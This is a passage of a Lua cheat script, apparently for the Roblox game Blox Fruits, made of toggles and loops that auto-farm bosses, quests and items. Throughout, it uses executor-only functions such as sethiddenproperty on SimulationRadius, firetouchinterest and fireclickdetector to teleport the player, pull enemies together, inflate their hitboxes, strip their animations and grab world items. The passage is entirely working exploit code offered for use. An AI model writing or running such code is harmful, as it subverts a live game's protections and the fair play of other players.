                                    OldCFrameRainbow = v.HumanoidRootPart.CFrame
                                    repeat task.wait()
                                        EquipWeapon(_G.SelectWeapon)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        v.HumanoidRootPart.CanCollide = false
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        v.HumanoidRootPart.CFrame = OldCFrameRainbow
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 672))
                                        sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                    until _G.Auto_Rainbow_Haki == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                end
                            end
                        else
                            topos(CFrame.new(2877.61743, 423.558685, -7207.31006, -0.989591599, -0, -0.143904909, -0, 1.00000012, -0, 0.143904924, 0, -0.989591479))
                        end
                    elseif string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Captain Elephant") then
                        if game:GetService("Workspace").Enemies:FindFirstChild("Captain Elephant [Lv. 1875] [Boss]") then
                            for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                if v.Name == "Captain Elephant [Lv. 1875] [Boss]" then
                                    OldCFrameRainbow = v.HumanoidRootPart.CFrame
                                    repeat task.wait()
                                        EquipWeapon(_G.SelectWeapon)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        v.HumanoidRootPart.CanCollide = false
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        v.HumanoidRootPart.CFrame = OldCFrameRainbow
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 672))
                                        sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                    until _G.Auto_Rainbow_Haki == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                end
                            end
                        else
                            topos(CFrame.new(-13485.0283, 331.709259, -8012.4873, 0.714521289, 7.98849911e-08, 0.69961375, -1.02065748e-07, 1, -9.94383065e-09, -0.69961375, -6.43015241e-08, 0.714521289))
                        end
                    elseif string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Beautiful Pirate") then
                        if game:GetService("Workspace").Enemies:FindFirstChild("Beautiful Pirate [Lv. 1950] [Boss]") then
                            for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                if v.Name == "Beautiful Pirate [Lv. 1950] [Boss]" then
                                    OldCFrameRainbow = v.HumanoidRootPart.CFrame
                                    repeat task.wait()
                                        EquipWeapon(_G.SelectWeapon)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        v.HumanoidRootPart.CanCollide = false
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        v.HumanoidRootPart.CFrame = OldCFrameRainbow
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 672))
                                        sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                    until _G.Auto_Rainbow_Haki == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                end
                            end
                        else
                            topos(CFrame.new(5312.3598632813, 20.141201019287, -10.158538818359))
                        end
                    else
                        topos(CFrame.new(-11892.0703125, 930.57672119141, -8760.1591796875))
                        if (Vector3.new(-11892.0703125, 930.57672119141, -8760.1591796875) - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 30 then
                            wait(1.5)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("HornedMan","Bet")
                        end
                    end
                end
            end
        end)
    end)
    
    iain:Toggle("Auto Observation Haki v2",_G.AutoObservationv2,function(value)
        _G.AutoObservationv2 = value
        StopTween(_G.AutoObservationv2)
    end)
    
    spawn(function()
        while wait() do
            pcall(function()
                if _G.AutoObservationv2 then
                    if game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CitizenQuestProgress","Citizen") == 3 then
                        _G.AutoMusketeerHat = false
                        if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Banana") and  game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Apple") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Pineapple") then
                            repeat 
                                topos(CFrame.new(-12444.78515625, 332.40396118164, -7673.1806640625)) 
                                wait() 
                            until not _G.AutoObservationv2 or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-12444.78515625, 332.40396118164, -7673.1806640625)).Magnitude <= 10
                            wait(.5)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CitizenQuestProgress","Citizen")
                        elseif game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Fruit Bowl") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Fruit Bowl") then
                            repeat 
                                topos(CFrame.new(-10920.125, 624.20275878906, -10266.995117188)) 
                                wait() 
                            until not _G.AutoObservationv2 or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-10920.125, 624.20275878906, -10266.995117188)).Magnitude <= 10
                            wait(.5)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("KenTalk2","Start")
                            wait(1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("KenTalk2","Buy")
                        else
                            for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
                                if v.Name == "Apple" or v.Name == "Banana" or v.Name == "Pineapple" then
                                    v.Handle.CFrame = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0,1,10)
                                    wait()
                                    firetouchinterest(game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,v.Handle,0)    
                                    wait()
                                end
                            end   
                        end
                    else
                        _G.AutoMusketeerHat = true
                    end
                end
            end)
        end
    end)
    
    iain:Toggle("Auto Rengoku",_G.AutoRengoku,function(value)
        _G.AutoRengoku = value
        StopTween(_G.AutoRengoku)
    end)
    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.AutoRengoku then
                    if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Hidden Key") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Hidden Key") then
                        EquipWeapon("Hidden Key")
                        topos(CFrame.new(6571.1201171875, 299.23028564453, -6967.841796875))
                    elseif game:GetService("Workspace").Enemies:FindFirstChild("Snow Lurker [Lv. 1375]") or game:GetService("Workspace").Enemies:FindFirstChild("Arctic Warrior [Lv. 1350]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if (v.Name == "Snow Lurker [Lv. 1375]" or v.Name == "Arctic Warrior [Lv. 1350]") and v.Humanoid.Health > 0 then
                                repeat task.wait()
                                    EquipWeapon(_G.SelectWeapon)
                                    AutoHaki()
                                    v.HumanoidRootPart.CanCollide = false
                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                    RengokuMon = v.HumanoidRootPart.CFrame
                                    topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                    game:GetService'VirtualUser':CaptureController()
                                    game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                                    StartRengokuMagnet = true
                                until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Hidden Key") or _G.AutoRengoku == false or not v.Parent or v.Humanoid.Health <= 0
                                StartRengokuMagnet = false
                            end
                        end
                    else
                        StartRengokuMagnet = false
                        topos(CFrame.new(5439.716796875, 84.420944213867, -6715.1635742188))
                    end
                end
            end
        end)
    end)
    

    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.AutoEctoplasm then
                    if game:GetService("Workspace").Enemies:FindFirstChild("Ship Deckhand [Lv. 1250]") or game:GetService("Workspace").Enemies:FindFirstChild("Ship Engineer [Lv. 1275]") or game:GetService("Workspace").Enemies:FindFirstChild("Ship Steward [Lv. 1300]") or game:GetService("Workspace").Enemies:FindFirstChild("Ship Officer [Lv. 1325]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if "Ship Deckhand [Lv. 1250]" or "Ship Engineer [Lv. 1275]" or "Ship Steward [Lv. 1300]" or "Ship Officer [Lv. 1325]" then
                                repeat task.wait()
                                    EquipWeapon(_G.SelectWeapon)
                                    AutoHaki()
                                    if "Ship Deckhand [Lv. 1250]" or "Ship Engineer [Lv. 1275]" or "Ship Steward [Lv. 1300]" or "Ship Officer [Lv. 1325]" then
                                   
									    v.HumanoidRootPart.CanCollide = false
                                        v.Head.CanCollide = false
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        game:GetService'VirtualUser':CaptureController()
                                        game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                                        EctoplasmMon = v.HumanoidRootPart.CFrame
                                        StartEctoplasmMagnet = true
                                    else
                                        StartEctoplasmMagnet = false
                                        topos(CFrame.new(911.35827636719, 125.95812988281, 33159.5390625))
                                    end
                                until _G.AutoEctoplasm == false or v.Humanoid.Health <= 0
                            end
                        end
                  
				    else
                        StartEctoplasmMagnet = false
                        local Distance = (Vector3.new(911.35827636719, 125.95812988281, 33159.5390625) - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude
                        if Distance > 18000 then
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(923.21252441406, 126.9760055542, 32852.83203125))
                        end
                       
				 topos(CFrame.new(911.35827636719, 125.95812988281, 33159.5390625))
                  
				    end
					
                end
            end
        end)
    end)
   
   
   
   
   
   
   
   iain:Toggle("Auto Yama",_G.AutoYama,function(value)
        _G.AutoYama = value
        StopTween(_G.AutoYama)
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoYama then
                if game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("EliteHunter","Progress") >= 30 then
                    repeat wait(.1)
                        fireclickdetector(game:GetService("Workspace").Map.Waterfall.SealedKatana.Handle.ClickDetector)
                    until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Yama") or not _G.AutoYama
                end
            end
        end
    end)
    
    iain:Toggle("Auto Evo Race (V2)",_G.Auto_EvoRace,function(value)
     _G.Auto_EvoRace = value
        StopTween(_G.Auto_EvoRace)
    end)
  



    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.Auto_EvoRace then
                    if not game:GetService("Players").LocalPlayer.Data.Race:FindFirstChild("Evolved") then
                        if game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Alchemist","1") == 0 then
                            topos(CFrame.new(-2779.83521, 72.9661407, -3574.02002, -0.730484903, 6.39014104e-08, -0.68292886, 3.59963224e-08, 1, 5.50667032e-08, 0.68292886, 1.56424669e-08, -0.730484903))
                            if (Vector3.new(-2779.83521, 72.9661407, -3574.02002) - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 4 then
                                wait(1.3)
                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Alchemist","2")
                            end
                        elseif game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Alchemist","1") == 1 then
                            pcall(function()
                                if not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flower 1") and not game:GetService("Players").LocalPlayer.Character:FindFirstChild("Flower 1") then
                                    topos(game:GetService("Workspace").Flower1.CFrame)
                                elseif not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flower 2") and not game:GetService("Players").LocalPlayer.Character:FindFirstChild("Flower 2") then
                                    topos(game:GetService("Workspace").Flower2.CFrame)
                                elseif not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flower 3") and not game:GetService("Players").LocalPlayer.Character:FindFirstChild("Flower 3") then
                                    if game:GetService("Workspace").Enemies:FindFirstChild("Swan Pirate [Lv. 775]") then
                                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                            if v.Name == "Swan Pirate [Lv. 775]" then
                                                repeat task.wait()
                                                    AutoHaki()
                                                    EquipWeapon(_G.SelectWeapon)
                                                    topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                                    v.HumanoidRootPart.CanCollide = false
                                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                    game:GetService("VirtualUser"):CaptureController()
                                                    game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 672))
                                                    PosMonEvo = v.HumanoidRootPart.CFrame
                                                    StartEvoMagnet = true
                                                until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flower 3") or not v.Parent or v.Humanoid.Health <= 0 or _G.Auto_EvoRace == false
                                                StartEvoMagnet = false
                                            end
                                        end
                                    else
                                        StartEvoMagnet = false
                                        topos(CFrame.new(-5685.9233398438, 48.480125427246, -853.23724365234))
                                    end
                                end
                            end)
                        elseif game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Alchemist","1") == 2 then
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Alchemist","3")
                        end
                    end
                end
            end
        end)
    end)
    
    iain:Toggle("Auto Bartlio Quest",_G.AutoBartilo,function(value)
        _G.AutoBartilo = value
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.AutoBartilo then
                    if game:GetService("Players").LocalPlayer.Data.Level.Value >= 800 and game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BartiloQuestProgress","Bartilo") == 0 then
                        if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Swan Pirates") and string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "50") and game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then 
                            if game:GetService("Workspace").Enemies:FindFirstChild("Swan Pirate [Lv. 775]") then
                                Ms = "Swan Pirate [Lv. 775]"
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == Ms then
                                        pcall(function()
                                            repeat task.wait()
                                                sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                                                EquipWeapon(_G.SelectWeapon)
                                                AutoHaki()
                                                v.HumanoidRootPart.Transparency = 1
                                                v.HumanoidRootPart.CanCollide = false
                                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))													
                                                PosMonBarto =  v.HumanoidRootPart.CFrame
                                                game:GetService'VirtualUser':CaptureController()
                                                game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                                                AutoBartiloBring = true
                                            until not v.Parent or v.Humanoid.Health <= 0 or _G.AutoBartilo == false or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                            AutoBartiloBring = false
                                        end)
                                    end
                                end
                            else
                                repeat topos(CFrame.new(932.624451, 156.106079, 1180.27466, -0.973085582, 4.55137119e-08, -0.230443969, 2.67024713e-08, 1, 8.47491108e-08, 0.230443969, 7.63147128e-08, -0.973085582)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(932.624451, 156.106079, 1180.27466, -0.973085582, 4.55137119e-08, -0.230443969, 2.67024713e-08, 1, 8.47491108e-08, 0.230443969, 7.63147128e-08, -0.973085582)).Magnitude <= 10
                            end
                        else
                            repeat topos(CFrame.new(-456.28952, 73.0200958, 299.895966)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-456.28952, 73.0200958, 299.895966)).Magnitude <= 10
                            wait(1.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("StartQuest","BartiloQuest",1)
                        end 
                    elseif game:GetService("Players").LocalPlayer.Data.Level.Value >= 800 and game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BartiloQuestProgress","Bartilo") == 1 then
                        if game:GetService("Workspace").Enemies:FindFirstChild("Jeremy [Lv. 850] [Boss]") then
                            Ms = "Jeremy [Lv. 850] [Boss]"
                            for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                if v.Name == Ms then
                                    OldCFrameBartlio = v.HumanoidRootPart.CFrame
                                    repeat task.wait()
                                        sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                                        EquipWeapon(_G.SelectWeapon)
                                        AutoHaki()
                                        v.HumanoidRootPart.Transparency = 1
                                        v.HumanoidRootPart.CanCollide = false
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        v.HumanoidRootPart.CFrame = OldCFrameBartlio
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        game:GetService'VirtualUser':CaptureController()
                                        game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                                        sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                    until not v.Parent or v.Humanoid.Health <= 0 or _G.AutoBartilo == false
                                end
                            end
                        elseif game:GetService("ReplicatedStorage"):FindFirstChild("Jeremy [Lv. 850] [Boss]") then
                            repeat topos(CFrame.new(-456.28952, 73.0200958, 299.895966)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-456.28952, 73.0200958, 299.895966)).Magnitude <= 10
                            wait(1.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BartiloQuestProgress","Bartilo")
                            wait(1)
                            repeat topos(CFrame.new(2099.88159, 448.931, 648.997375)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(2099.88159, 448.931, 648.997375)).Magnitude <= 10
                            wait(2)
                        else
                            repeat topos(CFrame.new(2099.88159, 448.931, 648.997375)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(2099.88159, 448.931, 648.997375)).Magnitude <= 10
                        end
                    elseif game:GetService("Players").LocalPlayer.Data.Level.Value >= 800 and game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BartiloQuestProgress","Bartilo") == 2 then
                        repeat topos(CFrame.new(-1850.49329, 13.1789551, 1750.89685)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1850.49329, 13.1789551, 1750.89685)).Magnitude <= 10
                        wait(1)
                        repeat topos(CFrame.new(-1858.87305, 19.3777466, 1712.01807)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1858.87305, 19.3777466, 1712.01807)).Magnitude <= 10
                        wait(1)
                        repeat topos(CFrame.new(-1803.94324, 16.5789185, 1750.89685)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1803.94324, 16.5789185, 1750.89685)).Magnitude <= 10
                        wait(1)
                        repeat topos(CFrame.new(-1858.55835, 16.8604317, 1724.79541)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1858.55835, 16.8604317, 1724.79541)).Magnitude <= 10
                        wait(1)
                        repeat topos(CFrame.new(-1869.54224, 15.987854, 1681.00659)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1869.54224, 15.987854, 1681.00659)).Magnitude <= 10
                        wait(1)
                        repeat topos(CFrame.new(-1800.0979, 16.4978027, 1684.52368)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1800.0979, 16.4978027, 1684.52368)).Magnitude <= 10
                        wait(1)
                        repeat topos(CFrame.new(-1819.26343, 14.795166, 1717.90625)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1819.26343, 14.795166, 1717.90625)).Magnitude <= 10
                        wait(1)
                        repeat topos(CFrame.new(-1813.51843, 14.8604736, 1724.79541)) wait() until not _G.AutoBartilo or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1813.51843, 14.8604736, 1724.79541)).Magnitude <= 10
                    end
                end 
            end
        end)
    end)
    
    iain:Toggle("Auto Holy Torch",_G.AutoHolyTorch,function(value)
        _G.AutoHolyTorch = value
        StopTween(_G.AutoHolyTorch)
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoHolyTorch then
                pcall(function()
                    wait(1)
                    TP(CFrame.new(-10752, 417, -9366))
                    wait(1)
                    TP(CFrame.new(-11672, 334, -9474))
                    wait(1)
                    TP(CFrame.new(-12132, 521, -10655))
                    wait(1)
                    TP(CFrame.new(-13336, 486, -6985))
                    wait(1)
                    TP(CFrame.new(-13489, 332, -7925))
                end)
            end
        end
    end)
    
    spawn(function()
        while task.wait() do
            pcall(function()
                if _G.BringMonster then
                    CheckQuest()
                    for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                        if _G.AutoFarm and StartMagnet and v.Name == Mon and (Mon == "Factory Staff [Lv. 800]" or Mon == "Monkey [Lv. 14]" or Mon == "Dragon Crew Warrior [Lv. 1575]" or Mon == "Dragon Crew Archer [Lv. 1600]") and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 and (v.HumanoidRootPart.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 250 then
                            v.HumanoidRootPart.Size = Vector3.new(150,150,150)
                            v.HumanoidRootPart.CFrame = PosMon
                            v.Humanoid:ChangeState(14)
                            v.HumanoidRootPart.CanCollide = false
                            v.Head.CanCollide = false
                            if v.Humanoid:FindFirstChild("Animator") then
                                v.Humanoid.Animator:Destroy()
                            end
                            sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                        elseif _G.AutoFarm and StartMagnet and v.Name == Mon and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 and (v.HumanoidRootPart.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 250 then
                            v.HumanoidRootPart.Size = Vector3.new(150,150,150)
                            v.HumanoidRootPart.CFrame = PosMon
                            v.Humanoid:ChangeState(14)
                            v.HumanoidRootPart.CanCollide = false
                            v.Head.CanCollide = false
                            if v.Humanoid:FindFirstChild("Animator") then
                                v.Humanoid.Animator:Destroy()
                            end
                            sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                        end
                        if _G.AutoEctoplasm and StartEctoplasmMagnet then
                            if string.find(v.Name, "Ship") and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 and (v.HumanoidRootPart.Position - EctoplasmMon.Position).Magnitude <= 250 then
                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                v.HumanoidRootPart.CFrame = EctoplasmMon
                                v.Humanoid:ChangeState(14)
                                v.HumanoidRootPart.CanCollide = false
                                v.Head.CanCollide = false
                                if v.Humanoid:FindFirstChild("Animator") then
                                    v.Humanoid.Animator:Destroy()
                                end
                                sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                            end
                        end
                        if _G.AutoRengoku and StartRengokuMagnet then
                            if (v.Name == "Snow Lurker [Lv. 1375]" or v.Name == "Arctic Warrior [Lv. 1350]") and (v.HumanoidRootPart.Position - RengokuMon.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                v.HumanoidRootPart.Size = Vector3.new(1500,1500,1500)
                                v.Humanoid:ChangeState(14)
                                v.HumanoidRootPart.CanCollide = false
                                v.Head.CanCollide = false
                                v.HumanoidRootPart.CFrame = RengokuMon
                                if v.Humanoid:FindFirstChild("Animator") then
                                    v.Humanoid.Animator:Destroy()
                                end
                                sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                            end
                        end
                        if _G.AutoMusketeerHat and StartMagnetMusketeerhat then
                            if v.Name == "Forest Pirate [Lv. 1825]" and (v.HumanoidRootPart.Position - MusketeerHatMon.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                v.Humanoid:ChangeState(14)
                                v.HumanoidRootPart.CanCollide = false
                                v.Head.CanCollide = false
                                v.HumanoidRootPart.CFrame = MusketeerHatMon
                                if v.Humanoid:FindFirstChild("Animator") then
                                    v.Humanoid.Animator:Destroy()
                                end
                                sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                            end
                        end
                        if _G.Auto_EvoRace and StartEvoMagnet then
                            if v.Name == "Swan Pirate [Lv. 775]" and (v.HumanoidRootPart.Position - PosMonEvo.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                v.Humanoid:ChangeState(14)
                                v.HumanoidRootPart.CanCollide = false
                                v.Head.CanCollide = false
                                v.HumanoidRootPart.CFrame = PosMonEvo
                                if v.Humanoid:FindFirstChild("Animator") then
                                    v.Humanoid.Animator:Destroy()
                                end
                                sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                            end
                        end
                        if _G.AutoBartilo and AutoBartiloBring then
                            if v.Name == "Swan Pirate [Lv. 775]" and (v.HumanoidRootPart.Position - PosMonBarto.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                v.Humanoid:ChangeState(14)
                                v.HumanoidRootPart.CanCollide = false
                                v.Head.CanCollide = false
                                v.HumanoidRootPart.CFrame = PosMonBarto
                                if v.Humanoid:FindFirstChild("Animator") then
                                    v.Humanoid.Animator:Destroy()
                                end
                                sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                            end
                        end
                        if _G.AutoFarmFruitMastery and StartMasteryFruitMagnet then
                            if v.Name == "Monkey [Lv. 14]" then
                                if (v.HumanoidRootPart.Position - PosMonMasteryFruit.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                    v.Humanoid:ChangeState(14)
                                    v.HumanoidRootPart.CanCollide = false
                                    v.Head.CanCollide = false
                                    v.HumanoidRootPart.CFrame = PosMonMasteryFruit
                                    if v.Humanoid:FindFirstChild("Animator") then
                                        v.Humanoid.Animator:Destroy()
                                    end
                                    sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                                end
                            elseif v.Name == "Factory Staff [Lv. 800]" then
                                if (v.HumanoidRootPart.Position - PosMonMasteryFruit.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                    v.Humanoid:ChangeState(14)
                                    v.HumanoidRootPart.CanCollide = false
                                    v.Head.CanCollide = false
                                    v.HumanoidRootPart.CFrame = PosMonMasteryFruit
                                    if v.Humanoid:FindFirstChild("Animator") then
                                        v.Humanoid.Animator:Destroy()
                                    end
                                    sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                                end
                            elseif v.Name == Mon then
                                if (v.HumanoidRootPart.Position - PosMonMasteryFruit.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                    v.Humanoid:ChangeState(14)
                                    v.HumanoidRootPart.CanCollide = false
                                    v.Head.CanCollide = false
                                    v.HumanoidRootPart.CFrame = PosMonMasteryFruit
                                    if v.Humanoid:FindFirstChild("Animator") then
                                        v.Humanoid.Animator:Destroy()
                                    end
                                    sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                                end
                            end
                        end
                        if _G.AutoFarmGunMastery and StartMasteryGunMagnet then
                            if v.Name == "Monkey [Lv. 14]" then
                                if (v.HumanoidRootPart.Position - PosMonMasteryGun.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                    v.Humanoid:ChangeState(14)
                                    v.HumanoidRootPart.CanCollide = false
                                    v.Head.CanCollide = false
                                    v.HumanoidRootPart.CFrame = PosMonMasteryGun
                                    if v.Humanoid:FindFirstChild("Animator") then
                                        v.Humanoid.Animator:Destroy()
                                    end
                                    sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                                end
                            elseif v.Name == "Factory Staff [Lv. 800]" then
                                if (v.HumanoidRootPart.Position - PosMonMasteryGun.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
